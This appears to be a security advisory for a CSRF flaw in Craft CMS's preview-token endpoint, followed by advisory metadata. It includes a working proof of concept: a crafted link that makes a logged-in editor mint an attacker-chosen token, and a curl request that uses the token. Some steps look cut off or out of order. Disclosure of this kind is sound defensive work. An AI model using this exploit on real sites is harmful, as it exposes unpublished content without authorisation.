Craft CMS has a CSRF issue in the preview token endpoint at /actions/preview/create-token. The endpoint accepts an attacker-supplied previewToken.
Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker.
That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope.
canonicalId and public URL path of that entry.Use any 32-character value, for example:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Send the victim a link (or top-level redirect) such as:
https://TARGET/actions/preview/create-token?elementType=craft%5Celements%5CEntry&canonicalId=123&siteId=1&previewToken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&redirect=https%3A%2F%2FTARGET%2F
If the victim is logged in and authorized for previewElement:123, Craft creates that exact token.
curl -i 'https://TARGET/news/known-entry-slug?token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
Expected vulnerable behavior:
{
"cwe_ids": [
"CWE-287",
"CWE-352"
],
"github_reviewed_at": "2026-03-10T18:22:02Z",
"nvd_published_at": "2026-03-10T20:16:38Z",
"severity": "LOW",
"github_reviewed": true
}